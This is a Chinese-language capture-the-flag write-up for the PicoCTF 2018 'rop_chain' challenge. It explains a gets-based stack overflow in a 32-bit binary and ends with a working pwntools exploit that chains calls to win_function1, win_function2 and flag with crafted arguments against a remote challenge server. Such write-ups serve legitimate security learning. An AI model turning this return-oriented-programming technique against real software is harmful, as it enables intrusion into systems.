# PicoCTF_2018_rop_chain

# 1. 首先查看程序信息

发现是 32 位程序,开启了 NX

利用 ida 查看

首先查看 main 函数

里面有个 vuln 函数,查看

发现 ret 到 gets 函数,由溢出可以利用

发现有其他函数

逐个查看

win_function1

win_function2

flag

# 2. 分析

1. 由上面的函数可以看出,下面的成立时可以输出 flag

if ( win1 && win2 && a1 == -559039827 )

但是程序并没有调用这些函数,需要我们自己去执行,通过上面发现的溢出漏洞可以做到

2. 在 function1 中 win1=1 ,而 function2 中:

c
if ( win1 && a1 == -1163220307 )
  {
    win2 = 1;
  }

需要让 a1=-1163220307(0xBAAAAAAD) 才能实现 win2=1,并且在 flag 中要让 a1=-559039827(0xDEADBAAD) 才能获取 flag

注意 a1 是作为参数传入的 ,而 32 位系统是用栈来传参(栈中先是返回地址然后是参数的顺序),所以就可以通过溢出来控制参数的值

# 3.exp:

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',29168)
e=ELF("./2018_rop")
function1=0x80485CB
function2=0x80485D8
flag=0x804862B
vuln=0x8048714
a1_function2=0xBAAAAAAD
a1_flag=0xDEADBAAD
p.recvuntil("Enter your input> ")
payload1=b"a"*(0x18+4)+p32(function1)+p32(function2)+p32(flag)+p32(a1_function2)+p32(a1_flag)
p.sendline(payload1)
p.interactive()